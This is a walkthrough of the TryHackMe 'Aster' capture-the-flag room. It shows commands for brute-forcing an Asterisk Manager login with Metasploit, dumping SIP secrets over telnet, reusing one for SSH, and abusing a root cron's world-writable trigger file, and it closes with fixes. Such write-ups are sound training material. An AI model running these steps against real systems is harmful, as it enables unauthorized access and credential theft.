Aster
A decompiled .pyc hints at an Asterisk PBX; brute-forcing the Asterisk Manager and reading SIP users exposes an SSH password, and a root cron that runs a Java class on a trigger file is abused to write out the root flag.
A walkthrough of the “Aster” room from TryHackMe. A compiled Python file on the web server decompiles to a hint pointing at Asterisk, the open-source PBX. We brute-force the Asterisk Manager Interface, read the SIP users to recover an SSH password, and finish with a root cron that runs a Java class whenever a trigger file exists — which we use to have the root flag written out for us.
Aster is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags and the recovered passwords are shown as
THM{<redacted>}/<redacted>— real on the box, withheld here.
TL;DR
TL;DR
The web server offers a .pyc; decompile it (uncompyle6) and decode its hex strings to a hint naming the “open source framework for building communications” → that’s Asterisk on port 5038 (Asterisk Call Manager) → brute the AMI login (admin) with Metasploit → log in over telnet and run sip show users to read harry’s SIP secret → SSH as harry (user flag) → harry’s home has Example_Root.jar; decompiling it shows a root cron writes the root flag to /home/harry/root.txt whenever /tmp/flag.dat exists → touch /tmp/flag.dat, wait a minute, read the root flag.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH, a web server, and — the giveaway — the Asterisk Call Manager plus VoIP-adjacent ports:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache 2.4.18 # Aster CTF
1720/tcp open h323q931?
2000/tcp open cisco-sccp?
5038/tcp open asterisk Asterisk Call Manager 5.0.2
The vulnerability
Aster is a chain of exposed, weakly-protected privileged services. The web server leaks a compiled Python file that hands us a hint; the Asterisk Manager Interface accepts a weak password and lets an authenticated user read every SIP peer’s secret in cleartext; and a root cron trusts a world-writable trigger file.
Insight
The Asterisk Manager Interface is the pivot. Once you brute a manager login, sip show users prints every SIP peer with its secret in plaintext — and here a SIP user’s secret is reused as a Linux SSH password. A telephony management port that most people ignore is a full credential store if its login is weak.
Step 1 — decompile the .pyc → identify Asterisk
Download the .pyc the web app serves and decompile it; the embedded hex strings decode to a hint:
uncompyle6 output.pyc
# hex -> "Good job, user 'admin' the open source framework for building communications, installed in the server."
That names the admin manager user and points squarely at Asterisk (port 5038).
Step 2 — brute the Asterisk Manager → read SIP secrets
Metasploit’s auxiliary/voip/asterisk_login brute-forces the manager password:
msf > use auxiliary/voip/asterisk_login
msf > set USERNAME admin
msf > set RHOSTS $IP
msf > run # admin : <redacted>
Log in over telnet and list SIP users:
telnet $IP 5038
# Action: Login / Username: admin / Secret: <redacted>
# Action: Command / Command: sip show users
# -> harry <redacted> (SIP secret)
Step 3 — SSH as harry (user flag)
harry’s SIP secret is reused for SSH:
ssh harry@$IP
harry@ubuntu:~$ cat user.txt
THM{<redacted>}
Step 4 — root cron + trigger file → root flag
harry’s home holds Example_Root.jar. Unzip it, pull the .class to the attacker box and decompile (Ghidra): it writes the root flag to /home/harry/root.txt only if /tmp/flag.dat exists. /etc/crontab confirms a root job runs the real Java every minute:
# /etc/crontab
* * * * * root cd /root/java/ && bash run.sh
So create the trigger file and wait one tick — the root-run Java writes the flag into harry’s readable home:
harry@ubuntu:~$ echo "go" > /tmp/flag.dat
# ~1 min later, root.txt appears, owned by root but world-readable:
harry@ubuntu:~$ cat root.txt
THM{<redacted>}
Note: this recovers the root flag via a root-run process; it is a privileged file-write triggered by an attacker-controllable condition, not an interactive root shell. A full shell would require writing to the cron’s script or the Java in /root/java/, which was not done here.
Impact
Critical
High — CVSS 3.1 ~8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L). A weak Asterisk Manager password exposes every SIP peer’s cleartext secret, one of which is reused for SSH — remote interactive access as a real user. A root cron that acts on a world-writable trigger file then leaks root-owned data to a low-privileged user, demonstrating a privileged-service design flaw that a small change would turn into full root.
Recommended fix
Fix
- Harden the Asterisk Manager Interface: strong unique
manager.confsecrets, bind AMI to loopback or trusted management hosts only, and never reuse SIP secrets as OS passwords. - Don’t expose compiled source on the web root — the
.pycleaked the first hint. - Fix the cron/trigger design. A root job must not act on a world-writable path (
/tmp/flag.dat); validate inputs, run with least privilege, and keep privileged scripts and their triggers out of user-writable locations.
Takeaways
- Decompile everything. A
.pycor.jaroften hands you the next step for free — here, the service to target and the trigger to privesc. - Telephony ports are credential stores. A weak AMI login plus
sip show usersis a cleartext password dump. - Credential reuse bridges services. A SIP secret became an SSH login.
- Watch what a root cron trusts. A world-writable trigger file is a privilege boundary.
Aster is a reminder that “boring” infrastructure ports — a PBX manager interface — can be the softest way in. Thanks for reading.